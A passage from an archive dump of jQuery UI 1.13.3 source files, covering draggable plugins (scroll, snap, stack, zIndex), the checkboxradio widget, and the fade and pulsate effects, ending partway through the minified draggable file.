i.scrollParentNotHidden.offset(); } }, drag: function( event, ui, i ) { var o = i.options, scrolled = false, scrollParent = i.scrollParentNotHidden[ 0 ], document = i.document[ 0 ]; if ( scrollParent !== document && scrollParent.tagName !== "HTML" ) { if ( !o.axis || o.axis !== "x" ) { if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY < o.scrollSensitivity ) { scrollParent.scrollTop = scrolled = scrollParent.scrollTop + o.scrollSpeed; } else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity ) { scrollParent.scrollTop = scrolled = scrollParent.scrollTop - o.scrollSpeed; } } if ( !o.axis || o.axis !== "y" ) { if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX < o.scrollSensitivity ) { scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft + o.scrollSpeed; } else if ( event.pageX - i.overflowOffset.left < o.scrollSensitivity ) { scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft - o.scrollSpeed; } } } else { if ( !o.axis || o.axis !== "x" ) { if ( event.pageY - $( document ).scrollTop() < o.scrollSensitivity ) { scrolled = $( document ).scrollTop( $( document ).scrollTop() - o.scrollSpeed ); } else if ( $( window ).height() - ( event.pageY - $( document ).scrollTop() ) < o.scrollSensitivity ) { scrolled = $( document ).scrollTop( $( document ).scrollTop() + o.scrollSpeed ); } } if ( !o.axis || o.axis !== "y" ) { if ( event.pageX - $( document ).scrollLeft() < o.scrollSensitivity ) { scrolled = $( document ).scrollLeft( $( document ).scrollLeft() - o.scrollSpeed ); } else if ( $( window ).width() - ( event.pageX - $( document ).scrollLeft() ) < o.scrollSensitivity ) { scrolled = $( document ).scrollLeft( $( document ).scrollLeft() + o.scrollSpeed ); } } } if ( scrolled !== false && $.ui.ddmanager && !o.dropBehaviour ) { $.ui.ddmanager.prepareOffsets( i, event ); } } } ); $.ui.plugin.add( "draggable", "snap", { start: function( event, ui, i ) { var o = i.options; i.snapElements = []; $( o.snap.constructor !== String ? ( o.snap.items || ":data(ui-draggable)" ) : o.snap ) .each( function() { var $t = $( this ), $o = $t.offset(); if ( this !== i.element[ 0 ] ) { i.snapElements.push( { item: this, width: $t.outerWidth(), height: $t.outerHeight(), top: $o.top, left: $o.left } ); } } ); }, drag: function( event, ui, inst ) { var ts, bs, ls, rs, l, r, t, b, i, first, o = inst.options, d = o.snapTolerance, x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width, y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height; for ( i = inst.snapElements.length - 1; i >= 0; i-- ) { l = inst.snapElements[ i ].left - inst.margins.left; r = l + inst.snapElements[ i ].width; t = inst.snapElements[ i ].top - inst.margins.top; b = t + inst.snapElements[ i ].height; if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d || !$.contains( inst.snapElements[ i ].item.ownerDocument, inst.snapElements[ i ].item ) ) { if ( inst.snapElements[ i ].snapping ) { if ( inst.options.snap.release ) { inst.options.snap.release.call( inst.element, event, $.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item } ) ); } } inst.snapElements[ i ].snapping = false; continue; } if ( o.snapMode !== "inner" ) { ts = Math.abs( t - y2 ) <= d; bs = Math.abs( b - y1 ) <= d; ls = Math.abs( l - x2 ) <= d; rs = Math.abs( r - x1 ) <= d; if ( ts ) { ui.position.top = inst._convertPositionTo( "relative", { top: t - inst.helperProportions.height, left: 0 } ).top; } if ( bs ) { ui.position.top = inst._convertPositionTo( "relative", { top: b, left: 0 } ).top; } if ( ls ) { ui.position.left = inst._convertPositionTo( "relative", { top: 0, left: l - inst.helperProportions.width } ).left; } if ( rs ) { ui.position.left = inst._convertPositionTo( "relative", { top: 0, left: r } ).left; } } first = ( ts || bs || ls || rs ); if ( o.snapMode !== "outer" ) { ts = Math.abs( t - y1 ) <= d; bs = Math.abs( b - y2 ) <= d; ls = Math.abs( l - x1 ) <= d; rs = Math.abs( r - x2 ) <= d; if ( ts ) { ui.position.top = inst._convertPositionTo( "relative", { top: t, left: 0 } ).top; } if ( bs ) { ui.position.top = inst._convertPositionTo( "relative", { top: b - inst.helperProportions.height, left: 0 } ).top; } if ( ls ) { ui.position.left = inst._convertPositionTo( "relative", { top: 0, left: l } ).left; } if ( rs ) { ui.position.left = inst._convertPositionTo( "relative", { top: 0, left: r - inst.helperProportions.width } ).left; } } if ( !inst.snapElements[ i ].snapping && ( ts || bs || ls || rs || first ) ) { if ( inst.options.snap.snap ) { inst.options.snap.snap.call( inst.element, event, $.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item } ) ); } } inst.snapElements[ i ].snapping = ( ts || bs || ls || rs || first ); } } } ); $.ui.plugin.add( "draggable", "stack", { start: function( event, ui, instance ) { var min, o = instance.options, group = $.makeArray( $( o.stack ) ).sort( function( a, b ) { return ( parseInt( $( a ).css( "zIndex" ), 10 ) || 0 ) - ( parseInt( $( b ).css( "zIndex" ), 10 ) || 0 ); } ); if ( !group.length ) { return; } min = parseInt( $( group[ 0 ] ).css( "zIndex" ), 10 ) || 0; $( group ).each( function( i ) { $( this ).css( "zIndex", min + i ); } ); this.css( "zIndex", ( min + group.length ) ); } } ); $.ui.plugin.add( "draggable", "zIndex", { start: function( event, ui, instance ) { var t = $( ui.helper ), o = instance.options; if ( t.css( "zIndex" ) ) { o._zIndex = t.css( "zIndex" ); } t.css( "zIndex", o.zIndex ); }, stop: function( event, ui, instance ) { var o = instance.options; if ( o._zIndex ) { $( ui.helper ).css( "zIndex", o._zIndex ); } } } ); return $.ui.draggable; } ); jquery/ui/effect-fade.min.js 0000644 00000001015 15111757754 0011763 0 ustar 00 /*! * jQuery UI Effects Fade 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(n){"use strict";return n.effects.define("fade","toggle",function(e,t){var i="show"===e.mode;n(this).css("opacity",i?0:1).animate({opacity:i?1:0},{queue:!1,duration:e.duration,easing:e.easing,complete:t})})}); jquery/ui/checkboxradio.js 0000644 00000016645 15111757754 0011674 0 ustar 00 /*! * jQuery UI Checkboxradio 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Checkboxradio //>>group: Widgets //>>description: Enhances a form with multiple themeable checkboxes or radio buttons. //>>docs: https://api.jqueryui.com/checkboxradio/ //>>demos: https://jqueryui.com/checkboxradio/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/button.css //>>css.structure: ../../themes/base/checkboxradio.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../form-reset-mixin", "../labels", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.checkboxradio", [ $.ui.formResetMixin, { version: "1.13.3", options: { disabled: null, label: null, icon: true, classes: { "ui-checkboxradio-label": "ui-corner-all", "ui-checkboxradio-icon": "ui-corner-all" } }, _getCreateOptions: function() { var disabled, labels, labelContents; var options = this._super() || {}; // We read the type here, because it makes more sense to throw a element type error first, // rather then the error for lack of a label. Often if its the wrong type, it // won't have a label (e.g. calling on a div, btn, etc) this._readType(); labels = this.element.labels(); // If there are multiple labels, use the last one this.label = $( labels[ labels.length - 1 ] ); if ( !this.label.length ) { $.error( "No label found for checkboxradio widget" ); } this.originalLabel = ""; // We need to get the label text but this may also need to make sure it does not contain the // input itself. // The label contents could be text, html, or a mix. We wrap all elements // and read the wrapper's `innerHTML` to get a string representation of // the label, without the input as part of it. labelContents = this.label.contents().not( this.element[ 0 ] ); if ( labelContents.length ) { this.originalLabel += labelContents .clone() .wrapAll( "<div></div>" ) .parent() .html(); } // Set the label option if we found label text if ( this.originalLabel ) { options.label = this.originalLabel; } disabled = this.element[ 0 ].disabled; if ( disabled != null ) { options.disabled = disabled; } return options; }, _create: function() { var checked = this.element[ 0 ].checked; this._bindFormResetHandler(); if ( this.options.disabled == null ) { this.options.disabled = this.element[ 0 ].disabled; } this._setOption( "disabled", this.options.disabled ); this._addClass( "ui-checkboxradio", "ui-helper-hidden-accessible" ); this._addClass( this.label, "ui-checkboxradio-label", "ui-button ui-widget" ); if ( this.type === "radio" ) { this._addClass( this.label, "ui-checkboxradio-radio-label" ); } if ( this.options.label && this.options.label !== this.originalLabel ) { this._updateLabel(); } else if ( this.originalLabel ) { this.options.label = this.originalLabel; } this._enhance(); if ( checked ) { this._addClass( this.label, "ui-checkboxradio-checked", "ui-state-active" ); } this._on( { change: "_toggleClasses", focus: function() { this._addClass( this.label, null, "ui-state-focus ui-visual-focus" ); }, blur: function() { this._removeClass( this.label, null, "ui-state-focus ui-visual-focus" ); } } ); }, _readType: function() { var nodeName = this.element[ 0 ].nodeName.toLowerCase(); this.type = this.element[ 0 ].type; if ( nodeName !== "input" || !/radio|checkbox/.test( this.type ) ) { $.error( "Can't create checkboxradio on element.nodeName=" + nodeName + " and element.type=" + this.type ); } }, // Support jQuery Mobile enhanced option _enhance: function() { this._updateIcon( this.element[ 0 ].checked ); }, widget: function() { return this.label; }, _getRadioGroup: function() { var group; var name = this.element[ 0 ].name; var nameSelector = "input[name='" + $.escapeSelector( name ) + "']"; if ( !name ) { return $( [] ); } if ( this.form.length ) { group = $( this.form[ 0 ].elements ).filter( nameSelector ); } else { // Not inside a form, check all inputs that also are not inside a form group = $( nameSelector ).filter( function() { return $( this )._form().length === 0; } ); } return group.not( this.element ); }, _toggleClasses: function() { var checked = this.element[ 0 ].checked; this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked ); if ( this.options.icon && this.type === "checkbox" ) { this._toggleClass( this.icon, null, "ui-icon-check ui-state-checked", checked ) ._toggleClass( this.icon, null, "ui-icon-blank", !checked ); } if ( this.type === "radio" ) { this._getRadioGroup() .each( function() { var instance = $( this ).checkboxradio( "instance" ); if ( instance ) { instance._removeClass( instance.label, "ui-checkboxradio-checked", "ui-state-active" ); } } ); } }, _destroy: function() { this._unbindFormResetHandler(); if ( this.icon ) { this.icon.remove(); this.iconSpace.remove(); } }, _setOption: function( key, value ) { // We don't allow the value to be set to nothing if ( key === "label" && !value ) { return; } this._super( key, value ); if ( key === "disabled" ) { this._toggleClass( this.label, null, "ui-state-disabled", value ); this.element[ 0 ].disabled = value; // Don't refresh when setting disabled return; } this.refresh(); }, _updateIcon: function( checked ) { var toAdd = "ui-icon ui-icon-background "; if ( this.options.icon ) { if ( !this.icon ) { this.icon = $( "<span>" ); this.iconSpace = $( "<span> </span>" ); this._addClass( this.iconSpace, "ui-checkboxradio-icon-space" ); } if ( this.type === "checkbox" ) { toAdd += checked ? "ui-icon-check ui-state-checked" : "ui-icon-blank"; this._removeClass( this.icon, null, checked ? "ui-icon-blank" : "ui-icon-check" ); } else { toAdd += "ui-icon-blank"; } this._addClass( this.icon, "ui-checkboxradio-icon", toAdd ); if ( !checked ) { this._removeClass( this.icon, null, "ui-icon-check ui-state-checked" ); } this.icon.prependTo( this.label ).after( this.iconSpace ); } else if ( this.icon !== undefined ) { this.icon.remove(); this.iconSpace.remove(); delete this.icon; } }, _updateLabel: function() { // Remove the contents of the label ( minus the icon, icon space, and input ) var contents = this.label.contents().not( this.element[ 0 ] ); if ( this.icon ) { contents = contents.not( this.icon[ 0 ] ); } if ( this.iconSpace ) { contents = contents.not( this.iconSpace[ 0 ] ); } contents.remove(); this.label.append( this.options.label ); }, refresh: function() { var checked = this.element[ 0 ].checked, isDisabled = this.element[ 0 ].disabled; this._updateIcon( checked ); this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked ); if ( this.options.label !== null ) { this._updateLabel(); } if ( isDisabled !== this.options.disabled ) { this._setOptions( { "disabled": isDisabled } ); } } } ] ); return $.ui.checkboxradio; } ); jquery/ui/effect-pulsate.js 0000644 00000003037 15111757754 0011765 0 ustar 00 /*! * jQuery UI Effects Pulsate 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Pulsate Effect //>>group: Effects //>>description: Pulsates an element n times by changing the opacity to zero and back. //>>docs: https://api.jqueryui.com/pulsate-effect/ //>>demos: https://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "../version", "../effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "pulsate", "show", function( options, done ) { var element = $( this ), mode = options.mode, show = mode === "show", hide = mode === "hide", showhide = show || hide, // Showing or hiding leaves off the "last" animation anims = ( ( options.times || 5 ) * 2 ) + ( showhide ? 1 : 0 ), duration = options.duration / anims, animateTo = 0, i = 1, queuelen = element.queue().length; if ( show || !element.is( ":visible" ) ) { element.css( "opacity", 0 ).show(); animateTo = 1; } // Anims - 1 opacity "toggles" for ( ; i < anims; i++ ) { element.animate( { opacity: animateTo }, duration, options.easing ); animateTo = 1 - animateTo; } element.animate( { opacity: animateTo }, duration, options.easing ); element.queue( done ); $.effects.unshift( element, queuelen, anims + 1 ); } ); } ); jquery/ui/draggable.min.js 0000644 00000043764 15111757754 0011563 0 ustar 00 /*! * jQuery UI Draggable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","../data","../plugin","../safe-active-element","../safe-blur","../scroll-parent","../version","../widget"],t):t(jQuery)}(function(P){"use strict";return P.widget("ui.draggable",P.ui.mouse,{version:"1.13.3",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){(this.helper||this.element).is(".ui-draggable-dragging")?this.destroyOnClear=!0:(this._removeHandleClassName(),this._mouseDestroy())},_mouseCapture:function(t){var e=this.options;return!(this.helper||e.disabled||0<P(t.target).closest(".ui-resizable-handle").length||(this.handle=this._getHandle(t),!this.handle)||(this._blurActiveElement(t),this._blockFrames(!0===e.iframeFix?"iframe":e.iframeFix),0))},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=P(this);return P("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var e=P.ui.safeActiveElement(this.document[0]);P(t.target).closest(e).length||P.ui.safeBlur(e)},_mouseStart:function(t){var e=this.options;return this.helper=this._createHelper(t),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),P.ui.ddmanager&&(P.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=0<this.helper.parents().filter(function(){return"fixed"===P(this).css("position")}).length,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,e.cursorAt&&this._adjustOffsetFromHelper(e.cursorAt),this._setContainment(),!1===this._trigger("start",t)?(this._clear(),!1):(this._cacheHelperProportions(),P.ui.ddmanager&&!e.dropBehaviour&&P.ui.ddmanager.prepareOffsets(this,t),this._mouseDrag(t,!0),P.ui.ddmanager&&P.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(t,e){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!e){e=this._uiHash();if(!1===this._trigger("drag",t,e))return this._mouseUp(new P.Event("mouseup",t)),!1;this.position=e.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",P.ui.ddmanager&&P.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var e=this,s=!1;return P.ui.ddmanager&&!this.options.dropBehaviour&&(s=P.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||!0===this.options.revert||"function"==typeof this.options.revert&&this.options.revert.call(this.element,s)?P(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){!1!==e._trigger("stop",t)&&e._clear()}):!1!==this._trigger("stop",t)&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),P.ui.ddmanager&&P.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.trigger("focus"),P.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new P.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(t){return!this.options.handle||!!P(t.target).closest(this.element.find(this.options.handle)).length},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(t){var e=this.options,s="function"==typeof e.helper,t=s?P(e.helper.apply(this.element[0],[t])):"clone"===e.helper?this.element.clone().removeAttr("id"):this.element;return t.parents("body").length||t.appendTo("parent"===e.appendTo?this.element[0].parentNode:e.appendTo),s&&t[0]===this.element[0]&&this._setPositionRelative(),t[0]===this.element[0]||/(fixed|absolute)/.test(t.css("position"))||t.css("position","absolute"),t},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),"left"in(t=Array.isArray(t)?{left:+t[0],top:+t[1]||0}:t)&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),e=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==e&&P.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this._isRootNode(this.offsetParent[0])?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){var t,e;return"relative"!==this.cssPosition?{top:0,left:0}:(t=this.element.position(),e=this._isRootNode(this.scrollParent[0]),{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())})},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,e=this.options,s=this.document[0];this.relativeContainer=null,e.containment?"window"===e.containment?this.containment=[P(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,P(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,P(window).scrollLeft()+P(window).width()-this.helperProportions.width-this.margins.left,P(window).scrollTop()+(P(window).height()||s.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:"document"===e.containment?this.containment=[0,0,P(s).width()-this.helperProportions.width-this.margins.left,(P(s).height()||s.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:e.containment.constructor===Array?this.containment=e.containment:("parent"===e.containment&&(e.containment=this.helper[0].parentNode),(e=(s=P(e.containment))[0])&&(t=/(scroll|auto)/.test(s.css("overflow")),this.containment=[(parseInt(s.css("borderLeftWidth"),10)||0)+(parseInt(s.css("paddingLeft"),10)||0),(parseInt(s.css("borderTopWidth"),10)||0)+(parseInt(s.css("paddingTop"),10)||0),(t?Math.max(e.scrollWidth,e.offsetWidth):e.offsetWidth)-(parseInt(s.css("borderRightWidth"),10)||0)-(parseInt(s.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(e.scrollHeight,e.offsetHeight):e.offsetHeight)-(parseInt(s.css("borderBottomWidth"),10)||0)-(parseInt(s.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=s)):this.containment=null},_convertPositionTo:function(t,e){e=e||this.position;var t="absolute"===t?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*t+this.offset.parent.top*t-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*t,left:e.left+this.offset.relative.left*t+this.offset.parent.left*t-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*t}},_generatePosition:function(t,e){var s,i=this.options,o=this._isRootNode(this.scrollParent[0]),n=t.pageX,r=t.pageY;return o&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),{top:(r=e&&(this.containment&&(s=this.relativeContainer?(e=this.relativeContainer.offset(),[this.containment[0]+e.left,this.containment[1]+e.top,this.containment[2]+e.left,this.containment[3]+e.top]):this.containment,t.pageX-this.offset.click.left<s[0]&&(n=s[0]+this.offset.click.left),t.pageY-this.offset.click.top<s[1]&&(r=s[1]+this.offset.click.top),t.pageX-this.offset.click.left>s[2]&&(n=s[2]+this.offset.click.left),t.pageY-this.offset.click.top>s[3])&&(r=s[3]+this.offset.click.top),i.grid&&(e=i.grid[1]?this.originalPageY+Math.round((r-this.originalPageY)/i.grid[1])*i.grid[1]:this.originalPageY,r=!s||e-this.offset.click.top>=s[1]||e-this.offset.click.top>s[3]?e:e-this.offset.click.top>=s[1]?e-i.grid[1]:e+i.grid[1],t=i.grid[0]?this.originalPageX+Math.round((n-this.originalPageX)/i.grid[0])*i.grid[0]:this.originalPageX,n=!s||t-this.offset.click.left>=s[0]||t-this.offset.click.left>s[2]?t:t-this.offset.click.left>=s[0]?t-i.grid[0]:t+i.grid[0]),"y"===i.axis&&(n=this.originalPageX),"x"===i.axis)?this.originalPageY:r)-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:o?0:this.offset.scroll.top),left:n-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:o?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(t,e,s){return s=s||this._uiHash(),P.ui.plugin.call(this,t,[e,s,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),P.Widget.prototype._trigger.call(this,t,e,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),P.ui.plugin.add("draggable","connectToSortable",{start:function(e,t,s){var i=P.extend({},t,{item:s.element});s.sortables=[],P(s.options.connectToSortable).each(function(){var t=P(this).sortable("instance");t&&!t.options.disabled&&(s.sortables.push(t),t.refreshPositions(),t._trigger("activate",e,i))})},stop:function(e,t,s){var i=P.extend({},t,{item:s.element});s.cancelHelperRemoval=!1,P.each(s.sortables,function(){var t=this;t.isOver?(t.isOver=0,s.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,i))})},drag:function(s,i,o){P.each(o.sortables,function(){var t=!1,e=this;e.positionAbs=o.positionAbs,e.helperProportions=o.helperProportions,e.offset.click=o.offset.click,e._intersectsWith(e.containerCache)&&(t=!0,P.each(o.sortables,function(){return this.positionAbs=o.positionAbs,this.helperProportions=o.helperProportions,this.offset.click=o.offset.click,t=this!==e&&this._intersectsWith(this.containerCache)&&P.contains(e.element[0],this.element[0])?!1:t})),t?(e.isOver||(e.isOver=1,o._parent=i.helper.parent(),e.currentItem=i.helper.appendTo(e.element).data("ui-sortable-item",!0),e.options._helper=e.options.helper,e.options.helper=function(){return i.helper[0]},s.target=e.currentItem[0],e._mouseCapture(s,!0),e._mouseStart(s,!0,!0),e.offset.click.top=o.offset.click.top,e.offset.click.left=o.offset.click.left,e.offset.parent.left-=o.offset.parent.left-e.offset.parent.left,e.offset.parent.top-=o.offset.parent.top-e.offset.parent.top,o._trigger("toSortable",s),o.dropped=e.element,P.each(o.sortables,function(){this.refreshPositions()}),o.currentItem=o.element,e.fromOutside=o),e.currentItem&&(e._mouseDrag(s),i.position=e.position)):e.isOver&&(e.isOver=0,e.cancelHelperRemoval=!0,e.options._revert=e.options.revert,e.options.revert=!1,e._trigger("out",s,e._uiHash(e)),e._mouseStop(s,!0),e.options.revert=e.options._revert,e.options.helper=e.options._helper,e.placeholder&&e.placeholder.remove(),i.helper.appendTo(o._parent),o._refreshOffsets(s),i.position=o._generatePosition(s,!0),o._trigger("fromSortable",s),o.dropped=!1,P.each(o.sortables,function(){this.refreshPositions()}))})}}),P.ui.plugin.add("draggable","cursor",{start:function(t,e,s){var i=P("body"),s=s.options;i.css("cursor")&&(s._cursor=i.css("cursor")),i.css("cursor",s.cursor)},stop:function(t,e,s){s=s.options;s._cursor&&P("body").css("cursor",s._cursor)}}),P.ui.plugin.add("draggable","opacity",{start:function(t,e,s){e=P(e.helper),s=s.options;e.css("opacity")&&(s._opacity=e.css("opacity")),e.css("opacity",s.opacity)},stop:function(t,e,s){s=s.options;s._opacity&&P(e.helper).css("opacity",s._opacity)}}),P.ui.plugin.add("draggable","scroll",{start:function(t,e,s){s.scrollParentNotHidden||(s.scrollParentNotHidden=s.helper.scrollParent(!1)),s.scrollParentNotHidden[0]!==s.document[0]&&"HTML"!==s.scrollParentNotHidden[0].tagName&&(s.overflowOffset=s.scrollParentNotHidden.offset())},drag:function(t,e,s){var i=s.options,o=!1,n=s.scrollParentNotHidden[0],r=s.document[0];n!==r&&"HTML"!==n.tagName?(i.axis&&"x"===i.axis||(s.overflowOffset.top+n.offsetHeight-t.pageY<i.scrollSensitivity?n.scrollTop=o=n.scrollTop+i.scrollSpeed:t.pageY-s.overflowOffset.top<i.scrollSensitivity&&(n.scrollTop=o=n.scrollTop-i.scrollSpeed)),i.axis&&"y"===i.axis||(s.overflowOffset.left+n.offsetWidth-t.pageX<i.scrollSensitivity?n.scrollLeft=o=n.scrollLeft+i.scrollSpeed:t.pageX-s.overflowOffset.left<i.scrollSensitivity&&(n.scrollLeft=o=n.scrollLeft-i.scrollSpeed))):(i.axis&&"x"===i.axis||(t.pageY-P(r).scrollTop()<i.scrollSensitivity?o=P(r).scrollTop(P(r).scrollTop()-i.scrollSpeed):P(window).height()-(t.pageY-P(r).scrollTop())<i.scrollSensitivity&&(o=P(r).scrollTop(P(r).scrollTop()+i.scrollSpeed))),i.axis&&"y"===i.axis||(t.pageX-P(r).scrollLeft()<i.scrollSensitivity?o=P(r).scrollLeft(P(r).scrollLeft()-i.scrollSpeed):P(window).width()-(t.pageX-P(r).scrollLeft())<i.scrollSensitivity&&(o=P(r).scrollLeft(P(r).scrollLeft()+i.scrollSpeed)))),!1!==o&&P.ui.ddmanager&&!i.dropBehaviour&&P.ui.ddmanager.prepareOffsets(s,t)}}),P.ui.plugin.add("draggable","snap",{start:function(t,e,s){var i=s.options;s.snapElements=[],P(i.snap.constructor!==String?i.snap.items||":data(ui-draggable)":i.snap).each(function(){var t=P(this),e=t.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:e.top,left:e.left})})},drag:function(t,e,s){for(var 